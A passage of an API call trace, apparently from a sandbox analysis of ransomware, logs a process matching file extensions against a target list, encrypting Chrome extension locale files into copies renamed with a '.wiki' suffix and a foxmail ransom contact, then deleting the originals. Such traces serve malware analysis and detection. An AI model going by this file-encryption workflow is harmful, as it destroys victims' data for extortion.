Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString=".doc") returned 4 [0180.505] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".docx") returned 5 [0180.505] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.505] lstrlenW (lpString=".pdf") returned 4 [0180.505] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".xls") returned 4 [0180.505] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".xlsx") returned 5 [0180.505] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.505] lstrlenW (lpString=".ppt") returned 4 [0180.505] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString=".zip") returned 4 [0180.505] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".rar") returned 4 [0180.505] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".bz2") returned 4 [0180.505] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.505] lstrlenW (lpString=".7z") returned 3 [0180.505] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString=".dbf") returned 4 [0180.505] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString=".1cd") returned 4 [0180.505] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned 151 [0180.505] lstrlenW (lpString=".jpg") returned 4 [0180.505] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.506] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.506] lstrlenW (lpString="messages.json") returned 13 [0180.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.506] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=234) returned 1 [0180.506] CloseHandle (hObject=0x334) returned 1 [0180.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json")) returned 0x2020 [0180.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.507] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.507] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0180.507] GetLastError () returned 0x0 [0180.507] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xea, lpOverlapped=0x0) returned 1 [0180.508] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.509] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.509] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.509] SetEndOfFile (hFile=0x1a4) returned 1 [0180.509] CloseHandle (hObject=0x1a4) returned 1 [0180.509] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.509] SetEndOfFile (hFile=0x334) returned 1 [0180.510] CloseHandle (hObject=0x334) returned 1 [0180.510] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json")) returned 1 [0180.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.511] lstrlenW (lpString=".doc") returned 4 [0180.511] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".docx") returned 5 [0180.511] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.511] lstrlenW (lpString=".pdf") returned 4 [0180.511] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".xls") returned 4 [0180.511] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".xlsx") returned 5 [0180.511] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.511] lstrlenW (lpString=".ppt") returned 4 [0180.511] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.511] lstrlenW (lpString=".zip") returned 4 [0180.511] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".rar") returned 4 [0180.511] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".bz2") returned 4 [0180.511] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.511] lstrlenW (lpString=".7z") returned 3 [0180.511] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.511] lstrlenW (lpString=".dbf") returned 4 [0180.511] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.520] lstrlenW (lpString=".1cd") returned 4 [0180.520] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.520] lstrlenW (lpString=".jpg") returned 4 [0180.520] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.520] lstrlenW (lpString=".doc") returned 4 [0180.520] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.520] lstrlenW (lpString=".docx") returned 5 [0180.520] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.520] lstrlenW (lpString=".pdf") returned 4 [0180.520] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.520] lstrlenW (lpString=".xls") returned 4 [0180.520] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.520] lstrlenW (lpString=".xlsx") returned 5 [0180.520] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.520] lstrlenW (lpString=".ppt") returned 4 [0180.521] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.521] lstrlenW (lpString=".zip") returned 4 [0180.521] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.521] lstrlenW (lpString=".rar") returned 4 [0180.521] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.521] lstrlenW (lpString=".bz2") returned 4 [0180.521] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.521] lstrlenW (lpString=".7z") returned 3 [0180.521] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.521] lstrlenW (lpString=".dbf") returned 4 [0180.521] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.521] lstrlenW (lpString=".1cd") returned 4 [0180.521] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 151 [0180.521] lstrlenW (lpString=".jpg") returned 4 [0180.521] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.521] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.521] lstrlenW (lpString="messages.json") returned 13 [0180.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.522] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=295) returned 1 [0180.522] CloseHandle (hObject=0x334) returned 1 [0180.522] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json")) returned 0x2020 [0180.522] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.522] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.522] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0180.523] GetLastError () returned 0x0 [0180.523] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x127, lpOverlapped=0x0) returned 1 [0180.524] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x130, lpOverlapped=0x0) returned 1 [0180.525] ReadFile (in: hFile=0x334, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.525] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.525] SetEndOfFile (hFile=0x1a4) returned 1 [0180.525] CloseHandle (hObject=0x1a4) returned 1 [0180.525] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.525] SetEndOfFile (hFile=0x334) returned 1 [0180.526] CloseHandle (hObject=0x334) returned 1 [0180.526] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.526] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json")) returned 1 [0180.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.527] lstrlenW (lpString=".doc") returned 4 [0180.527] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".docx") returned 5 [0180.527] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.527] lstrlenW (lpString=".pdf") returned 4 [0180.527] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".xls") returned 4 [0180.527] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".xlsx") returned 5 [0180.527] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.527] lstrlenW (lpString=".ppt") returned 4 [0180.527] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.527] lstrlenW (lpString=".zip") returned 4 [0180.527] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".rar") returned 4 [0180.527] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".bz2") returned 4 [0180.527] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.527] lstrlenW (lpString=".7z") returned 3 [0180.527] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.527] lstrlenW (lpString=".dbf") returned 4 [0180.527] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.528] lstrlenW (lpString=".1cd") returned 4 [0180.528] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.528] lstrlenW (lpString=".jpg") returned 4 [0180.528] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.528] lstrlenW (lpString=".doc") returned 4 [0180.528] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.528] lstrlenW (lpString=".docx") returned 5 [0180.528] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.528] lstrlenW (lpString=".pdf") returned 4 [0180.528] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.528] lstrlenW (lpString=".xls") returned 4 [0180.528] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.528] lstrlenW (lpString=".xlsx") returned 5 [0180.529] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.529] lstrlenW (lpString=".ppt") returned 4 [0180.529] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.529] lstrlenW (lpString=".zip") returned 4 [0180.529] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.529] lstrlenW (lpString=".rar") returned 4 [0180.529] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.529] lstrlenW (lpString=".bz2") returned 4 [0180.529] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.529] lstrlenW (lpString=".7z") returned 3 [0180.529] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.529] lstrlenW (lpString=".dbf") returned 4 [0180.529] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.529] lstrlenW (lpString=".1cd") returned 4 [0180.529] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 151 [0180.529] lstrlenW (lpString=".jpg") returned 4 [0180.529] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.529] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.529] lstrlenW (lpString="messages.json") returned 13 [0180.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.323] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=324) returned 1 [0181.323] CloseHandle (hObject=0x160) returned 1 [0181.323] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json")) returned 0x2020 [0181.323] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 